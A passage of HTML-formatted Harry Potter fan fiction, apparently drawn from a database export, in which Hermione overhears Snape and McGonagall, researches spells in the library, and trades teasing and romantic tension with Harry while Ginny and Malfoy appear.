style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Serverus, please;\nyou can&#8217;t think. . .&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;It doesn&#8217;t\nsignify what I think, Minerva. Facts are facts.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;He&#8217;s only\nseventeen, a child.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione felt\nHarry stiffen against her.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Snape breathed\nheavily. &#8216;I know, I know.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;We must tell\nLupin. He&#8217;s to spread word, you see?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;And Hagrid will\ncome back with the contract with the giants.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Serverus. I can&#8217;t\nbelieve, I just . . .&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;History is\nrepeating itself. We need to be prepared.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;And Miss.\nGranger, Mr. Weasley? What about them?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Granger could be\nin more danger than you think, Minerva. He works with weakness.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Works with . . .&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Newman has given\na topic that would encourage the four of them to learn about Dark Arts. A\nbrilliant idea, really. The four of them need protection and Granger could be\ninspired to research and formulate another spell, hex or potion.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Professor\nMcGonagall sounded like she was choking back a sob. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">They passed by\nthen, unaware that two teenagers by the names of Harry Potter and Hermione\nGranger were staring at each other in utter shock. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione was\nstudying in the Common Room, feverishly turning page after decrepit page of a\nenormous and ambiguous volume. Her tired eyes scanned down pages and she\nstarted violently when she heard the portrait door open. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry, not\nnoticing her, walked passed and flung himself onto an armchair. He was pasted\nin mud and sweaty damp hair was poking up in alarming angles. He fixed an\nintense green-eyed gaze onto the fire which was dancing in the hearth. His face\nradiated with anger, yet he was still pale-faced. His face was childlike, but\nnot weak. </p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione looked at\nhim for a moment, then turned back to the book. She picked up her quill and\nbegan to copy down information. Harry&#8217;s ears pricked up at the scratching of\nthe quill and turned around.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Sorry.&#8217; She\nwhispered not sure what she was apologizing about, looking down at her ink\nstained fingers.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;What are you\ndoing?&#8217; he said.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Homework.&#8217; Said\nHermione absently. &#8216;How was Quidditch?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;Might quit.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;What . . .&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&#8216;I don&#8217;t want to\ntalk about it. . .&#8217; he trailed off. &#8216;What homework?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">I&#8217;m trying to save\nyour life, silly boy, thought Hermione. And everyone else&#8217;s.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry was\napparently interested by her absent answer and non-attention. He suspected\nsomething out of the norm and was right. These fighting spells were like\ngibberish to her and scarcely had Hermione struggled to enjoy a book, any book.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry saw just how\nobstinate Hermione could be and simply sat down beside her. She looked up at\nhim once and smiled. Then she turned back to her work.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry swallowed.\nHer smile would light up her whole face. She didn&#8217;t smile all the time, but\nwhen she did it reached up to her eyes. Heck, maybe her nose and forehead as\nwell. Her smile was like Butterbeer, it kind of warmed him up on the inside. He\nshook his head. What the hell? What kind of sappy thoughts was he having about\nhis best friend? Snap out of it, Potter, he advised himself.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Hermione sneaked\nanother look at Harry and was amazed to see that he, at a rapid pace, was\nslowly turning very red.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">Harry generally\ngave himself good advice, though seldom followed it.</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Thanks heaps for all the reviews! Keep them coming, and\nI&#8217;ll be posting within a fortnight or so. Love you all! : - )</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~ Sassy</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.2in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(156, 3, '\n\n\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">A/N: Don&#8217;t worry, Hermione isn&#8217;t\ngoing to end up like Josie from Looking For Alibrandi. I&#8217;m planning on writing\na sequel too, so it will be H/H forever.</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:1.0in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Ginny hugged her\nknees to her chest. &#8216;I&#8217;m so happy.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione smiled at\nthe pretty redhead in front of her. &#8216;Dean asked you out?&#8217; she asked, pointed to\na nail polish in a pretty pink shade.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Yeah,&#8217; said\nGinny, uncapping it and beginning to paint Hermione&#8217;s toes. She herself chose a\nmint green shade, which Hermione had started to do.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Does Ron know?&#8217;\nHermione asked, blowing gently on the wet polish.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Does Ron know?&#8217;\nsaid Ginny dramatically raising her eyes to the heavens. &#8216;God, no. He&#8217;d scare\nDean off.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">The two\nirrepressible damsels laughed and both swung their legs off window seat,\nletting the polish dry. Hermione cuddled a cushion to her chest and lent back,\nwhile Ginny played with Salem.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Ooh, girls, is it\na slumber party?!&#8217; A high, silly voice said.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione and Ginny\nlooked towards the door and saw Harry mocking them in the doorway. He swayed\nhis hips in a weird jerking fashion as he walked to towards them.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Oh, Gin, I just\nlove the hair colour, is it natural?&#8217; he said speaking as best as he could in a\nhigh falsetto voice. &#8216;And Hermione, that stuff on your nails is so you.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Nail polish,\nPotter.&#8217; Said Hermione laughing and throwing a pillow against him. Harry poked\nhis tongue out at her which Hermione promptly did also. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Go away!&#8217; said\nHermione. &#8216;Go flirt with someone else &#8211; like Malfoy or something.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Harry gave her a\nlook. &#8216;Are you implying something?&#8217; he said, back in his normal pitch, though\nin a mock-hurt way.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;I know your\nlittle secret.&#8217; Teased Hermione.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Which one?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione raised\nher eyebrows. &#8216;I know you have a thing for Malfoy, but I don&#8217;t blame you. He is\nsexy, isn&#8217;t he Ginny?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Uh-huh. I&#8217;d kill\nfor a chance with him.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;His gorgeous eyes\n&#8211;&#8216;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;- his\nsilvery-blonde hair &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;- his Quidditch\ntalent &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;- his wit &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;You people make\nme sick.&#8217; Said Harry, disgustedly. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione and Ginny\ndizzily laughed again at Harry&#8217;s horrified face.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Really sick.&#8217; He\nsaid, going and closing the door behind him.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Thank God, he&#8217;s\ngone.&#8217; Said Hermione loudly.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">The door opened as\nanticipated, and a raven-haired boy with wonderful eyes stuck his head in the\nroom and pouted. &#8216;I heard that!&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione stuck her\ntongue out at him, and with the skill she was famous for, flicked her wand at\nthe door which banged shut and banished Harry to the first-years dormitory,\nmuch to the dismay of Harry and the excitement of the giddy first-years who\nidolized Harry to a high degree.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Hermione!&#8217; he\nyelled out to thin air, &#8216;This is so not funny!&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">*</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Does he do that\noften?&#8217; asked Ginny, looking at her.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione\nabsently-mindedly refolded a blouse. &#8216;Do what?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Barge in here.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Yeah,&#8217; said Hermione.\nShe caught the look on Ginny&#8217;s face. &#8216;Oh, come on Ginny. He&#8217;s my best friend,\nremember?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Ginny smirked and\nsmiled naughtily. &#8216;Just friends, huh?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Yes!&#8217; said\nHermione, a little too quickly.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Ginny had an\nunexpected bout of insight, which read Hermione&#8217;s defensive stance and rapidly\nflushing face like a book. She smiled to herself as Hermione folded another\nt-shirt without looking at her.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Ginny knew\nsomething that they didn&#8217;t. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Yet.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione walked\nswiftly down the corridors to the dungeons. She leant against a column and\nhugged her book to her chest, waiting for the library to open. After\noverhearing Professor McGonagall&#8217;s and Snape&#8217;s ominous conversation she had\ntaken to scouring the library for old books which of course would not be\nsuspected as un-Hermione-ish behaviour.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Harry had been\ndisappearing every so often, to Dumbledore&#8217;s office. Hermione saw him come\nback, tired and wondered what on earth was going on. Ron and herself had\ndiscussed the matter and decided not to ask about it, unless Harry opened the\nconversation himself.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">She was so lost in\nthought, she didn&#8217;t notice Malfoy come in close proximities to her. She scowled\nat him and tried to move, but Malfoy was in the way. &#8216;Go away, Malfoy.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">One simple word he\nuttered as menacingly as ever.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Mudblood.&#8217; He\nsaid.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;You&#8217;re\nseventeen.&#8217; She said through gritted teeth. &#8216;Act your age and shut the hell\nup.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Do you have any\nidea what kind of shit I&#8217;ve been going through?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;No, and I don&#8217;t\nintend to.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Malfoy smirked and\nleant back, his hand still placed threateningly on her shoulder.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Hey!&#8217; shouted\nHarry, who was passing by with Ron. Grabbing Malfoy by the neck of his robes he\npushed him roughly away. Ron scowled at Malfoy and took a menacing step\nforward. Draco, shorter than Ron backed away, giving him a filthy look.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione looked at\nthe tableau before her and noticed a bruise starting to form on Malfoy&#8217;s arm.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Malfoy, what &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">He followed her\neyes to the bruise and touched it lightly before looking back at her. &#8216;Like you\ncare.&#8217; He said before stalking away.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;What did he do?&#8217;\nspat Harry. He looked at Hermione with hate in his bewitching eyes. Hermione\nflinched and stepped back. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Harry bit his lip\nand turned away, looking as if he betrayed his deepest secret.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Did he hurt you?&#8217;\nasked Ron carefully.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;N-no.&#8217; said\nHermione, bewildered by the immense hate which was radiating from Harry only a\nfew seconds ago. She looked again at him, he was leaning against a stone wall\nwith closed eye and looking pale and lifeless.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">She gave Ron a\nstartled look. He too looked at Harry and shook his head. &#8216;I don&#8217;t know.&#8217; He\nmouthed and Hermione nodded at once. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">They were quiet\nfor awhile until Harry spoke up.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;The library&#8217;s\nopen.&#8217; He said. Something of a smile lurked about his face, and when he turned\nto Hermione, the honest clear green eyes told nothing. It was as if the\npowerful wizard had vanished, and he was back to the old Harry; kind, honest,\nlaughing and reckless.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">But as she\nfollowed Ron into the library, she took another look back at Harry, only to see\nhim looking sadly back at her. Embarrassed, she turned away quickly.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">~ * ~ * ~ * ~</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Boo!&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione jumped\nand Harry laughed. He put his hands on her shoulders and massaged them gently.\n&#8216;I told you,&#8217; he said, with a lopsided grin. &#8216;You&#8217;re studying too hard. You&#8217;re\ntoo jumpy.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione relaxed.\n&#8216;Remind me when I&#8217;m stressed I need you to give me a shoulder rub.&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Harry turned her\naround and sat her down on a wooden chair. He drew another up and sat in it, so\nclose, their knees were touching. Hermione felt tingly feelings just by the\nmere contact, but leant back and forced herself to concentrate on Harry. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Bad idea. She just\ngot lost in his eyes.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Hermione?&#8217;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Uh-huh?&#8217; said\nHermione absently, looking up.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;Are you scared of\nme?&#8217; he said very seriously.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Hermione bit her\nlip. &#8216;Oh, Harry.&#8217; She started. &#8216;I&#8217;m not scared of you.&#8217; She drew her knee up to\nher chest and rested her chin on them. </p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Their faces were\nlevel, and to avoid looking into his eyes, she just traced a pattern on Harry&#8217;s\nknee. She made an elephant, a flower and a house.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">Harry swallowed at\nthe feeling of her light tracing on his knee. He closed his eyes for a moment.\nConcentrate, Potter.</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;I didn&#8217;t mean to\nsnap at you today, I just &#8211;&#8216;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-left:.5in;text-indent:.5in">&#8216;You&#8217;re powerful\nHarry.&#8217; She said. &#8216;It&#8217;s just &#8211; well &#8211; sometimes you&#8217;re laughing, joking Harry\nand then all of a sudden 